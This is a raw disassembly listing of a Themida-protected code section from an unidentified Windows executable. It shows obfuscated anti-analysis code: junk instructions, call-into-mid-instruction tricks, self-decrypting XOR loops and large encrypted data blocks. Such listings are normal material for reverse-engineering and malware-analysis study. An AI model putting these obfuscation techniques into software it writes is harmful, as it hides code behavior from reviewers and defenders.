dd 0EE42BF66h, 8958615Ah, 132A51B5h, 0B9B5FF06h, 0FF06130Bh
dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 9D89E2B3h, 6130789h
; ---------------------------------------------------------------------------
loc_601FA0: ; CODE XREF: Themida_:00601BAAj
mov eax, 0
jbe $+6
or eax, eax
jz loc_602000
push 0
push edi
call sub_601FBE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_601FBE proc near ; CODE XREF: Themida_:00601FB6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_601FBE endp
; ---------------------------------------------------------------------------
bsr esi, [eax]
retf
; ---------------------------------------------------------------------------
movsb
movsb
mov [ebp+6131F35h], ebx
jmp loc_601FE8
; ---------------------------------------------------------------------------
pop edx
sub eax, [eax+esi*4-7F56C866h]
movsb
loc_601FE8: ; CODE XREF: Themida_:00601FDAj
push dword ptr [ebp+61313A9h]
xor [ebp+6131471h], esi
call dword ptr [ebp+6131D89h]
mov [ebp+6132BC9h], ecx
loc_602000: ; CODE XREF: Themida_:00601FADj
mov eax, eax
sub [ebp+6131DADh], ebx
cmp dword ptr [ebp+6131625h], 0
jnz short loc_60201A
cmp dword ptr [ebp+6132C81h], 0
jz short loc_602033
loc_60201A: ; CODE XREF: Themida_:0060200Fj
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+6133115h], eax
lea ebx, [ebp+615A9E4h]
call ebx ; _iob
pop ebx
pop eax
loc_602033: ; CODE XREF: Themida_:00602018j
cmp dword ptr [ebp+6132C81h], 0
jz short loc_602053
push eax
push ebx
mov eax, 42Dh
mov [ebp+6133115h], eax
lea ebx, [ebp+615A685h]
call ebx ; _iob
pop ebx
pop eax
loc_602053: ; CODE XREF: Themida_:0060203Aj
jno loc_60205F
mov esi, [ebp+6130EA9h]
loc_60205F: ; CODE XREF: Themida_:loc_602053j
push 0
push eax
call sub_60206A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60206A proc near ; CODE XREF: Themida_:00602062p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_60206A endp
; ---------------------------------------------------------------------------
sub [edx], bl
add [esi+ecx*2+7E9E9B18h], bl
fmul dword ptr [ebx-173F7440h]
add eax, 53000000h
cli
push ebx
db 64h
push ebp
mov esi, [ebp+6131311h]
pop eax
mov esi, 273DA984h
add eax, 6717h
clc
xor ebx, ebx
mov edi, [ebp+61325A1h]
loc_6020AD: ; CODE XREF: Themida_:00602137j
push dword ptr [ebx+eax]
and edi, 5F633E44h
pop edx
mov edi, [ebp+6130E69h]
xor edx, 619F62AEh
sub edx, 51485DDEh
mov [ebp+61321EDh], eax
sub edx, 734A2132h
mov [ebp+6131E4Dh], edi
mov [eax+ebx], edx
jle loc_6020E9
sub si, 8B96h
loc_6020E9: ; CODE XREF: Themida_:006020DEj
pusha
cld
mov dx, di
popa
sub ebx, 1
sub [ebp+613324Dh], esi
dec ebx
dec ebx
dec ebx
sub edi, [ebp+6130DD1h]
cmp ebx, 0FFFF999Ch
jnz loc_60212C
jmp loc_602121
; ---------------------------------------------------------------------------
dw 85E7h
dd 95CA4382h, 243FCA0Dh, 0C5EC7629h
db 0C2h
; ---------------------------------------------------------------------------
loc_602121: ; CODE XREF: Themida_:0060210Dj
jmp loc_602144
; ---------------------------------------------------------------------------
dw 736Dh
dd 2445480Dh
; ---------------------------------------------------------------------------
loc_60212C: ; CODE XREF: Themida_:00602107j
push eax
jnz loc_602136
mov cx, dx
loc_602136: ; CODE XREF: Themida_:0060212Dj
pop edi
jmp loc_6020AD
; ---------------------------------------------------------------------------
dd 883C6772h, 0CB1AF5B2h
; ---------------------------------------------------------------------------
loc_602144: ; CODE XREF: Themida_:loc_602121j
call near ptr loc_602153+2
xchg eax, ecx
dec edi
dec edi
popf
and dword ptr [edi], 1Eh
pushf
or al, 62h
loc_602153: ; CODE XREF: Themida_:loc_602144p
adc [edx-74A52176h], cl
popf
rcr dword ptr [esi], 1
adc eax, [esi]
add edx, 6187h
jmp loc_60217A
; ---------------------------------------------------------------------------
db 63h, 68h, 0F7h
; ---------------------------------------------------------------------------
sbb eax, 0DE91846Ah
mov bl, 0ADh
inc esi
pop edx
push ebp
cmc
and ebx, [edx-80h]
loc_60217A: ; CODE XREF: Themida_:00602164j
xor ecx, ecx
mov bx, 8E68h
loc_602180: ; CODE XREF: Themida_:006021E0j
mov edi, [edx+ecx]
or [ebp+61321B9h], ebx
add edi, 1DDB5A67h
mov [ebp+6130659h], ecx
xor edi, 74098886h
sub [ebp+6131F51h], eax
add edi, 64ECD0DBh
call near ptr loc_6021B2+4
les edi, ds:0B13CBE55h
loc_6021B2: ; CODE XREF: Themida_:006021A7p
ficom dword ptr ds:800FAC4Ch
add al, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
pusha
popa
pop eax
push edi
pop dword ptr [edx+ecx]
push eax
sub eax, 7FFC5A1Dh
pop esi
mov eax, 7A25C7C6h
sub ecx, 3
mov eax, [ebp+6131091h]
dec ecx
cmp ecx, 0FFFF9F18h
jnz loc_602180
mov [ebp+6130E85h], esi
lea ecx, [ebp+61B6001h]
mov [ebp+613312Dh], ecx
mov [ebp+6131BBDh], ecx
jmp loc_60220F
; ---------------------------------------------------------------------------
aam 4Dh
sub al, 90h
mov edi, 0C1424814h
fsubrp st(3), st
loc_60220F: ; CODE XREF: Themida_:006021FEj
mov dword ptr [ebp+61318DDh], 597Ch
push 0
push ebp
call sub_602224
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_602224 proc near ; CODE XREF: Themida_:0060221Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_602224 endp
; ---------------------------------------------------------------------------
dd 39BBDD5Ch, 6E5E499h, 0C1BF0F3Bh, 158C0Fh, 10E90000h
dd 7E000000h, 768BF9D3h, 8C7435AEh, 77173C64h, 0C70BA105h
dd 13305585h, 6, 0EDBD8B00h, 0FF061321h, 131139B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 7ECC95C3h, 0FFA18EFEh, 131D8995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 4E4FAA0Eh
dd 8EE78DC9h, 85892488h, 6131719h, 95FF006Ah, 6130DA9h
dd 6EEBC08Bh, 0C7166FE7h, 0B054E63Dh, 91E2D64Ah, 0BF89E84Ch
dd 0B85DCA7Bh, 6FAD327Eh, 4DB56F9Ch, 36F52603h, 2A589678h
dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 5C48BEC9h, 6CFA22EFh
dd 0D826DCFFh, 48E619CDh, 23118594h, 0F476A196h, 7AD9A86h
dd 1FE54F87h, 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h
dd 40A73ECFh, 0B4D8C74Bh, 0C1D73059h, 0EBE219h, 4A2E9h
dd 0ACAA3800h, 0B49A2C0Eh, 0AAA03416h, 0BB95260Ch, 0ACA8351Bh
dd 0FB101F0Eh, 0E2C8E66Eh, 80A20052h, 9BBD1D2Bh, 97A4024Ah
dd 14C945B8h, 7F9216B9h, 0E16DBDE3h, 93C2E5C2h, 109DB537h
dd 72EC9D00h, 3B109DB5h, 0DEC412DAh, 84A3004Ah, 9DB4F551h
dd 955FBE10h, 7ED26147h, 69EB7A60h, 7ADA6749h, 9577B5Ch
dd 4F99F849h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 87F5AAD6h
dd 13A38716h, 5F85B13Bh, 46B7D76Ah, 0A8374CCh, 40117095h
dd 55B12403h, 1E0A8375h, 95A4AA3Ch, 65AE1574h, 7C9D9B2Dh
dd 22B1A32Dh, 0D4823468h, 389AE23Ch, 7796A7A5h, 0A8924716h
dd 900A7B17h, 0C90A8373h, 83743A94h, 0B582030Ah, 0B4913150h
dd 73E86293h, 6CB10A83h, 2358E147h, 21AB672Bh, 1DBACC15h
dd 73F849E8h, 9C755A10h, 9AC7746Bh, 0D99FF41h, 0DDBCF40Eh
dd 0FE5CADBCh, 55047021h, 5C1C40B9h, 3E509387h, 1672EC21h
dd 0DA3B0470h, 160E88FDh, 0B6D70470h, 1A0F72Eh, 0BD4B0000h
dd 8A55E470h, 0F0406245h, 2AB2D362h, 9DB58BDBh, 0ED83AC10h
dd 0FABB27DBh, 1E7FCD60h, 972127BCh, 587ACB4Ah, 46674705h
dd 29BBD464h, 90F14021h, 25AF992Eh, 0DAAA233h, 875FBB2Ah
dd 2728109Eh, 9E875CB6h, 81E02510h, 558CA837h, 40B59231h
dd 109E86C6h, 99C60E8Fh, 8F919D64h, 66496E16h, 0F863A6F5h
dd 8508656Fh, 0FD2B0126h, 0C14643D9h, 0A19C126Ch, 885031F7h
dd 0EB67F5D9h, 6BE9785Ah, 60D9F9DAh, 587A5F75h, 0D8FA4B09h
dd 0A7C684h, 7DB00D60h, 18B55B8h, 6CFBDF88h, 95BB726h
dd 0E1240A8Bh, 0C3163880h, 0F4ED2989h, 0CE2446CCh, 160F266h
dd 7FBE33A2h, 27107Ch, 0D22777F5h, 77F4FC19h, 0B6034716h
dd 70C189DBh, 6C537011h, 0A94161D7h, 490B5ADBh, 0F0F899F8h
dd 4ADDC5E2h, 0A62E6FFEh, 1E2F25B4h, 1EBDC522h, 0A21A6239h
dd 0E81DA6F7h, 4785F6Eh, 2DB7D637h, 9C2B0F30h, 5F9EA5B4h
dd 8341B5ADh, 95F4FC9Dh, 4789369h, 0E51AEDD2h, 0CA9BB705h
dd 12CB644Bh, 4C4C6A0Bh, 75527115h, 3138E34Ah, 1EA6B530h
dd 68C482EFh, 98272B0Ah, 8BEA66F5h, 0E7775BBAh, 13370667h
dd 0A308EC6h, 6CC899BBh, 684C4973h, 6F725FCCh, 840048h
dd 5644D6Eh, 37A689A6h, 0FE64B7DBh, 285761A4h, 0FE64B7E2h
dd 0C3C8FB3h, 0B52827C4h, 0FE64B759h, 4714408Dh, 2708A7C6h
dd 64B75CB6h, 0D8E025FEh, 8BFADDFAh, 0FE64B70Fh, 0C011B5D8h
dd 945CBD8Ch, 4161F342h, 5FE93E64h, 0BEA3CB95h, 6F7AEBC8h
dd 98168EBCh, 1E2F21B2h, 8BCF9EFFh, 90FE4F3Ah, 8AA6015Dh
dd 2A4BCA0Ah, 0A8DDFA1Bh, 0A8AA62Eh, 0D7F796F7h, 0D61152EDh
dd 44C24BACh, 850A8AA6h, 0EA7B0A9Dh, 0D3B2D362h, 0D676C709h
dd 0CD7FD2F8h, 45075A7Ch, 7840EF4h, 67E97A60h, 2B2DB7D6h
dd 0F060EF9Ah, 0BC103291h, 0BC18468Eh, 5AAD1BFCh, 2E64h
dd 62507700h, 0ADFBB2AFh, 0A34B15DFh, 0C4EBC8BEh, 0B92EB4D6h
dd 8ECB158Ah, 8F95B65Fh, 0A6331716h, 1F7E9FAEh, 93B90C4Eh
dd 0F1433h, 0BDBA0000h, 6F53E26Eh, 6F506EDEh, 8850F84Bh
dd 0E26EBDCEh, 34FDDC5h, 91CE9BB9h, 9DB5065Ch, 6946C710h
dd 7E5D8A3Eh, 6E76365Ch, 3FF7E0FFh, 5626C1F0h, 8F2234BCh
dd 0EB7D29F7h, 0D5B48F22h, 0AD1E5084h, 11E6D10Eh, 8191F783h
dd 33A2AF39h, 109E8FDBh, 7D5A799Ch, 0B79E5952h, 3B8EA489h
dd 0A0C14011h, 316DE918h, 0D736109Eh, 680D1F7h, 0A19C1478h
dd 725031D8h, 15C67308h, 6C000000h, 0C3E06CBDh, 0B51571E4h
dd 0BFDE109Dh, 4194B635h, 9943AB0Bh, 54E571BDh, 0DC6DDF72h
dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
dd 9EAF9B2Dh, 15242ABCh, 5D545522h, 4C581h, 0ED830000h
dd 242C8704h, 75A1685Ch, 1C890000h, 30ED6824h, 4890000h
dd 0A2BE5624h, 813ABF55h, 0E11AA9C6h, 0B9513Fh, 29000000h
dd 59CE89F1h, 0D0C6C681h, 0F38980BBh, 4EC815Eh, 89000000h
dd 4812424h, 424h, 53525800h, 41240481h, 5A019004h, 441EA81h
dd 50890190h, 48B5A08h, 0E7895724h, 4C781h, 0C7810000h
dd 4, 5C243C87h
; ---------------------------------------------------------------------------
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
db 97h
dd 67A41C37h, 0B86760CEh, 61B647Fh, 0E0FFC503h, 787319D8h
dd 7B72FE3Fh, 6AA9B422h, 68CF356Ah, 64642413h, 0F69ED7Fh
dd 2B8DBAECh, 54B611Ch, 3B65464Bh, 3C973903h, 5D2C2644h
dd 5853B431h, 782BCDE1h, 2EB15C60h, 6AFC2970h, 30C456DFh
dd 7DDFBACCh, 1E379588h, 4E3E73A2h, 5AAE439Ch, 10A5DD50h
dd 7573260Fh, 3FBA7A7Ch, 2E57567Bh, 26421BD1h, 4B0A0ACh
dd 124ABA07h, 7FFE42ACh, 34AC60DDh, 19880Fh, 14E90000h
dd 30000000h, 0E943B70Dh, 7BB5155Dh, 575AF808h, 0C3790A1Dh
dd 0F869D78h, 0BF0FC1BFh, 0C68166D2h, 8166C1D2h, 0E9093EC6h
dd 9, 55199A0Ah, 6EDB60B2h, 45E88129h, 0F7360E4h, 85h
dd 0FC18A00h, 0A84h, 72B86000h, 8066A221h, 0F961B1F2h
dd 93F28166h, 6E931h, 0BF4F0000h, 26155461h, 2645B960h
dd 8B661BB8h, 0C18B61DEh, 0BEDA9DBEh, 0BE929h, 45700000h
dd 6E3EE4DCh, 52A7F016h, 58F18170h, 0BF69E233h, 14590DC7h
dd 225BB966h, 1AC98166h, 10E909h, 0DD4E0000h, 0E57DE5E5h
dd 0DA093F45h, 4259C6FDh, 8B522FE8h, 0D68B5FD8h, 0E3C78166h
dd 897BBBF5h, 92B64C26h, 12E952h, 0E6FB0000h, 48D140Ah
dd 0F10025F0h, 2CB9053Fh, 4F49135Ch, 668DB358h, 0C981CE8Bh
dd 271CA840h, 0FE9h, 0AE1D9300h, 30ABFD2h, 0BA95F9B5h
dd 4B1A752Dh, 3BC78166h, 0FE986h, 0F9700000h, 0B3A6CB3Ah
dd 0F97D91F5h, 177E178Dh, 2FBB6679h, 10E9FBh, 0CFE30000h
dd 9F6B7C9Fh, 82283978h, 442DA3C8h, 860F0CABh, 1, 0F08166F8h
dd 12B6D6BAh, 21F08166h, 92D18152h, 0FC388909h, 0BE8h
dd 0B2DDDD00h, 82AB5278h, 3BF1C4F9h, 9E9h, 8ABF5200h, 0D3259552h
dd 815BB92Eh, 2015F6F0h, 13E954h, 0F9F60000h, 0C848EA90h
dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0E9BAB587h, 9, 7D9B0D4Ch
dd 3CDCA8Bh, 0D88166A6h, 8166C251h, 0E8BD38C7h, 0Ah, 97E517CAh
dd 2DFAEDB7h, 0DE883B5h, 33000000h, 84110C41h, 0D5002936h
dd 52ECF534h, 0EFF68166h, 8B5E5999h, 6660F9CBh, 61DAF0BAh
dd 66606FB4h, 1B8FE8Bh, 6135903Eh, 0DE950h, 28780000h
dd 2E11D6DBh, 0B6E6AFAFh, 5ECC923Ah, 18A0Fh, 80F50000h
dd 7E943C0h, 0C4000000h, 0E004FD60h, 6E9DBCCh, 0B5000000h
dd 15A525EFh, 0C18B668Dh, 0DE8h, 0A41F1E00h, 0C346C478h
dd 0D326B9DFh, 0D78B89A1h, 0D18B665Fh, 9858C4BBh, 19820F5Bh
dd 0E9000000h, 14h, 63D7420Eh, 0EA206C95h, 51A88CF8h, 0B0EB8191h
dd 11CCF69Bh, 0F38B6660h, 495D3DBAh, 8A60617Bh, 0FF560FEh
dd 8Dh, 0F616100h, 387h, 5EF95700h, 6E9h, 66F06F00h, 816B92F3h
dd 57FCCFD0h, 208C0F6Bh, 0E8000000h, 14h, 75514423h, 19C8F836h
dd 0DC72568Bh, 0F96B162Bh, 63526033h, 850Fh, 805A0000h
dd 0B70FB4D9h, 0F0DB3CFh, 0B83h, 5820F00h, 0BB000000h
dd 21F32D7Bh, 0CFD18166h, 6ABA6650h, 0F65B360h, 288h, 0F97B100h
dd 0EE9DEB7h, 0C6000000h, 0F2D1492Dh, 9E04834Ch, 0AE9DD091h
dd 0AEE98052h, 7E8h, 396DE700h, 887CCE4Bh, 5EC08166h, 860F5F00h
dd 0
; ---------------------------------------------------------------------------
stc
mov esi, ecx
mov ah, 0C8h
movsx edi, ax
clc
push eax
jmp loc_602B8B
; ---------------------------------------------------------------------------
db 20h
; ---------------------------------------------------------------------------
xor edi, [ecx-6]
adc [edx+7Dh], ecx
movsb
db 26h
nop
xor [ebp+1391B382h], edx
loc_602B8B: ; CODE XREF: Themida_:00602B76j
pop edx
jg loc_602B97
add bx, 1C87h
loc_602B97: ; CODE XREF: Themida_:00602B8Cj
pusha
jnz loc_602BA4
jl $+6
loc_602BA4: ; CODE XREF: Themida_:00602B98j
jnp loc_602BAD
movzx edi, bx
loc_602BAD: ; CODE XREF: Themida_:loc_602BA4j
popa
mov si, 0A0E5h
or edi, 0B55153Fh
jle loc_602BBF
cld
loc_602BBF: ; CODE XREF: Themida_:00602BB8j
xor ax, 0CB88h
sub si, 0BE96h
js loc_602BDB
jb loc_602BDB
jno $+6
loc_602BDB: ; CODE XREF: Themida_:00602BC9j
; Themida_:00602BCFj
jmp loc_602BEA
; ---------------------------------------------------------------------------
dd 0B316436Eh, 0D0494A65h
db 0E5h, 7Ah
; ---------------------------------------------------------------------------
loc_602BEA: ; CODE XREF: Themida_:loc_602BDBj
adc esi, 60DF632h
jmp loc_602C04
; ---------------------------------------------------------------------------
enter 36DBh, 0D6h
push es
push esi
xchg edx, [edx+ebx*2+10B373EBh]
xchg eax, ebp
wait
loc_602C04: ; CODE XREF: Themida_:00602BF0j
js $+6
jg loc_602C12
mov dl, 7Ah
loc_602C12: ; CODE XREF: Themida_:00602C0Aj
mov cx, 66E5h
mov ax, 431Ah
jmp loc_602C28
; ---------------------------------------------------------------------------
db 91h
dd 193840BEh, 366805Bh
; ---------------------------------------------------------------------------
loc_602C28: ; CODE XREF: Themida_:00602C1Aj
push edi
pop esi
mov ecx, 1C1BB425h
mov di, bx
jmp loc_602C48
; ---------------------------------------------------------------------------
db 0ACh
dd 2C1A7CA0h, 1B1F9B37h, 3A779671h, 0EF2378D9h
; ---------------------------------------------------------------------------
loc_602C48: ; CODE XREF: Themida_:00602C32j
jmp loc_602C5A
; ---------------------------------------------------------------------------
db 0D7h, 0E9h, 19h
dd 4659C27Ah, 878A624Eh
db 0D8h, 74h
; ---------------------------------------------------------------------------
loc_602C5A: ; CODE XREF: Themida_:loc_602C48j
movzx edi, ax
jp loc_602C6C
jno loc_602C6C
mov di, ax
loc_602C6C: ; CODE XREF: Themida_:00602C5Dj
; Themida_:00602C63j
push ebx
mov ax, 6AEFh
pop edx
or ecx, 1129C7DAh
mov edx, 7DA0F5DBh
jz loc_602C88
mov esi, 2D49CB44h
loc_602C88: ; CODE XREF: Themida_:00602C7Dj
push edi
pop edi
mov ax, 0C2CDh
mov dx, ax
sub al, 2Eh
mov edx, 34BE2616h
cld
pusha
call near ptr loc_602CA4+3
push ebp
in eax, dx
pusha
dec esp
loc_602CA4: ; CODE XREF: Themida_:00602C9Bp
or [ecx-87499ECh], ebx
pop ecx
call sub_602CB5
; ---------------------------------------------------------------------------
test eax, 35E70A6Bh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_602CB5 proc near ; CODE XREF: Themida_:00602CABp
jmp sub_602CC0
sub_602CB5 endp
; ---------------------------------------------------------------------------
xchg eax, ebx
xchg eax, edx
retf
; ---------------------------------------------------------------------------
db 0BEh, 5Ah, 0DDh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_602CC0 proc near ; CODE XREF: sub_602CB5j
pop esi
popa
jns loc_602CD6
jmp loc_602CD6
; ---------------------------------------------------------------------------
align 2
dw 379Fh
dd 17998A94h
db 0AAh, 2Eh
; ---------------------------------------------------------------------------
loc_602CD6: ; CODE XREF: sub_602CC0+2j
; sub_602CC0+8j
adc di, 0D086h
push edi
call sub_602CEF
hlt
sub_602CC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 4113h
dd 8DECFEECh, 15520AECh
; ---------------------------------------------------------------------------
adc al, 46h
xchg eax, ebx
; =============== S U B R O U T I N E =======================================
sub_602CEF proc near ; CODE XREF: sub_602CC0+1Cp
mov ebx, 36B160Ah
pop eax
pop edx
js loc_602D07
jl loc_602D07
mov ecx, 152ED3A8h
loc_602D07: ; CODE XREF: sub_602CEF+7j
; sub_602CEF+Dj
call sub_602D13
test eax, 467967B5h
outsb
out dx, al
sub_602CEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602D13 proc near ; CODE XREF: sub_602CEF:loc_602D07p
push ecx
pusha
popa
pop eax
pop edi
clc
jmp loc_602D28
; ---------------------------------------------------------------------------
dw 0F8E8h
dd 0B21132BAh, 8360CA64h
; ---------------------------------------------------------------------------
loc_602D28: ; CODE XREF: sub_602D13+6j
push esi
pop ecx
movsx esi, dx
jnz loc_602D39
jge $+6
loc_602D39: ; CODE XREF: sub_602D13+1Aj
mov di, 442h
pusha
mov bx, 0CB17h
mov bh, 0E5h
popa
mov edx, 36EA45D7h
movsx esi, cx
mov cx, 0E116h
stc
jmp loc_602D68
; ---------------------------------------------------------------------------
db 54h
dd 0E14682C6h, 1C0E51EFh, 0A22D29ADh, 731DD64Fh
; ---------------------------------------------------------------------------
loc_602D68: ; CODE XREF: sub_602D13+3Fj
movsx eax, cx
jmp loc_602D84
; ---------------------------------------------------------------------------
dd 1D82A720h, 0FD166587h, 0C863DCAAh, 0ABF85F9Ah, 75EDBB0h
; ---------------------------------------------------------------------------
loc_602D84: ; CODE XREF: sub_602D13+58j
push eax
jmp loc_602D95
; ---------------------------------------------------------------------------
mov al, 0Ch
push esi
cmp eax, 2CF2713Fh
dec edi
mov al, 0FFh
loc_602D95: ; CODE XREF: sub_602D13+72j
pop esi
push ebx
adc ebx, 6E0A4CF7h
pop edi
call near ptr loc_602DB0+4
mov al, 92h
cmp dh, [esi]
xlat
mov bh, 0ADh
bound esp, [edi+2D8BAEB4h]
loc_602DB0: ; CODE XREF: sub_602D13+8Bp
mov esp, 80D17D79h
sub_602D13 endp ; sp-analysis failed
in eax, dx
retf 805Bh
; ---------------------------------------------------------------------------
db 0E1h, 10h, 81h
dd 9DA196E8h, 5660602Fh, 6161605Eh, 5EF95661h, 7DD8E681h
dd 0EE979CBh, 0EC000000h, 722EEAC6h, 0CBE05984h, 0A1B185F4h
dd 432DBBFFh, 81600AC5h, 9BAE3EFh, 0AADE8161h, 613F3B5Bh
dd 0FC38B66h, 0E4BBD6B7h, 562E12D8h, 970F5AB8h, 0EDBF5B1Fh
dd 666608ABh, 0FC81A9BFh, 6E9h, 9F31BA00h, 0F013CAEh, 486h
dd 0A5BE6600h, 0C9BF0F7Eh, 38B0Fh, 8B660000h, 51D1BBD1h
dd 66605013h, 14E9DF8Bh, 0F000000h, 0C5ACAF15h, 3D6D0382h
dd 0E824A004h, 25F9A571h, 6100934Fh, 12E952h, 2AE0000h
dd 65EF7550h, 90F9F6CEh, 0C9C848EAh, 576A0E37h, 64D2BA5Fh
dd 2CB64C5Ch, 0EE8h, 4A769F00h, 2B111D3Ch, 0B7ECC875h
dd 6629D2A8h, 0AF1DB81h, 8F0F575Bh, 3, 5ED0B70Fh, 0BD4BBF66h
dd 9E960h, 0E160000h, 203A4CDBh, 8BFAA5A8h, 8A0F61D8h
dd 3, 8B61FC60h, 0C88AF8F8h, 1B820Fh, 0FE80000h, 6A000000h
dd 0B13023EBh, 2ECB2266h, 8E4FEA81h, 0C981CEA0h, 1EEB766Fh
dd 0C981F859h, 40E1E1A1h, 0FA5E980h, 0E853F0B7h, 0Eh, 58C6FA3Ch
dd 171D12BAh, 0A28C0A0Eh, 81663DB8h, 5AE065D1h, 0E9D88B58h
dd 13h, 0DF0CC76Fh, 0ED4D2748h, 0E9CFDD88h, 2903DE61h
dd 0F9A33ABh, 0B85h, 58C0F00h, 0B9000000h, 7E188D94h, 0FBE78150h
dd 5B1C07CBh, 2830Fh, 0C88A0000h, 8E8h, 0C2866C00h, 0F20F266Dh
dd 0D4F5806Ah, 9E95Bh, 0C2D90000h, 5EA07EB6h, 0FCD66EFEh
dd 32BBF66h, 0C6B70F52h, 0F5F38059h, 178D0F52h, 0E9000000h
dd 12h, 0E1F16AD8h, 0DFC69BA0h, 313C3E42h, 7075E3E9h, 665BB81Ah
dd 0F10AFB9h, 8Ch, 830F6000h, 6, 840Fh, 0BA660000h, 0B961D008h
dd 3A05061Dh, 0AE8h, 8C30A800h, 0AC2504E0h, 59A1A17Bh
dd 89DA8166h, 0D98B66BCh, 0BE9h, 418FB400h, 0F3C37A50h
dd 0C335A7D9h, 0FEAFB866h, 0FCA8B66h, 0DE80C7BFh, 0E8FE8B82h
dd 8, 948BA73Fh, 0C029F67Eh, 5FF9B70Fh, 8DE38166h, 0EE99Ch
dd 0B17E0000h, 5DFE3F44h, 718D5B44h, 0D9BBDD0h, 66F78B66h
dd 0C88CE781h, 6FC4B966h, 85B2CA8Ah, 8A9DDF80h, 6E9C7h
dd 35400000h, 331F6F6h, 0B7CEB70Fh, 0DF8B6657h, 6E9h, 0E44ACE00h
dd 0F6755DCh, 800FC9BFh, 3, 8B23DE80h, 6660F8FBh, 0B9B7F88Bh
dd 7B63BB61h, 81661EBFh, 666431E3h, 0F9F196B8h, 0BF0F5B53h
dd 0CF8B66C8h, 208D0Fh, 6E80000h, 35000000h, 0D6D46A0Dh
dd 0FE984h, 305E0000h, 6F3A2522h, 22F5CAA3h, 5D73BDB8h
dd 14E95E27h, 2000000h, 8AFB2137h, 60A5AE26h, 0A237BD94h
dd 9C39C401h, 0B95B83F1h, 3DFAC67Bh, 178C0Fh, 0E9600000h
dd 0Ah, 0D0273573h, 0CBB91A53h, 830F989Fh, 0
; ---------------------------------------------------------------------------
popa
mov ecx, eax
cmc
jmp loc_6030ED
; ---------------------------------------------------------------------------
mov ds:0D1A6C9C9h, al
adc [edi+1Ah], edx
mov ch, 0Ah
sub dword ptr [esi+7E32E9CEh], 0BABE2B04h
loc_6030ED: ; CODE XREF: Themida_:006030D4j
mov ebx, 47C8C61Eh
jmp loc_60310B
; ---------------------------------------------------------------------------
db 0FDh
dd 0DFEF0F59h, 1524EB35h, 3B12C076h, 845F16F7h
db 0F4h, 0CCh, 0Fh
; ---------------------------------------------------------------------------
loc_60310B: ; CODE XREF: Themida_:006030F2j
jmp loc_603120
; ---------------------------------------------------------------------------
dd 8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh, 319D85D8h
; ---------------------------------------------------------------------------
loc_603120: ; CODE XREF: Themida_:loc_60310Bj
push ecx
mov ah, 0DEh
pop eax
mov eax, 4139B825h
pusha
call near ptr loc_603135+4
adc bh, dh
push ebp
add [ecx+23h], al
loc_603135: ; CODE XREF: Themida_:0060312Ap
mov byte ptr [edi-7E453D62h], 33h
jb short near ptr loc_6031B2+1
pop ecx
jns loc_60314B
jno $+6
loc_60314B: ; CODE XREF: Themida_:0060313Fj
popa
clc
mov di, dx
jmp loc_603167
; ---------------------------------------------------------------------------
db 8, 2Ah, 0EAh
dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h
; ---------------------------------------------------------------------------
inc esi
sbb [ebx], ah
loc_603167: ; CODE XREF: Themida_:00603150j
mov esi, edi
mov cx, 94A1h
jmp loc_603186
; ---------------------------------------------------------------------------
dw 0EA76h
dd 29768C7Eh, 0C50BBD40h, 8BD7BA37h, 5A04FFE4h
db 3Bh, 7Fh
; ---------------------------------------------------------------------------
loc_603186: ; CODE XREF: Themida_:0060316Dj
xor edx, 2F71248h
mov ecx, 596C6910h
push esi
pop eax
jz loc_6031B0
jmp loc_6031B0
; ---------------------------------------------------------------------------
dw 0EFFDh
; ---------------------------------------------------------------------------
pop ebp
mov ebp, edx
mov cl, 18h
movsb
adc esi, ecx
sub [edx], cl
xchg al, [eax+30h]
push esp
sub bh, dh
loc_6031B0: ; CODE XREF: Themida_:00603193j
; Themida_:00603199j
mov edx, esi
loc_6031B2: ; CODE XREF: Themida_:0060313Cj
mov bx, 4FFDh
mov dx, 0E85Eh
jmp loc_6031C4
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dd 12BE5334h
; ---------------------------------------------------------------------------
loc_6031C4: ; CODE XREF: Themida_:006031BAj
mov si, cx
clc
movzx ebx, di
movsx eax, bx
and ebx, 675FED9Fh
clc
jle loc_6031F3
jmp loc_6031F3
; ---------------------------------------------------------------------------
dd 5EC6687Ch, 0B2420B04h, 49E29EB7h, 27EC5838h
db 0A1h, 95h, 32h
; ---------------------------------------------------------------------------
loc_6031F3: ; CODE XREF: Themida_:006031D5j
; Themida_:006031DBj
jmp loc_60320B
; ---------------------------------------------------------------------------
dd 0AA57A119h, 4B50F8EEh, 2D6C7037h, 6CBDAC7h
db 31h, 33h, 38h
; ---------------------------------------------------------------------------
loc_60320B: ; CODE XREF: Themida_:loc_6031F3j
movzx ebx, bx
jl loc_60321B
pusha
mov di, 58F0h
cmc
popa
loc_60321B: ; CODE XREF: Themida_:0060320Ej
mov bh, 0E6h
mov si, 3083h
movsx edx, ax
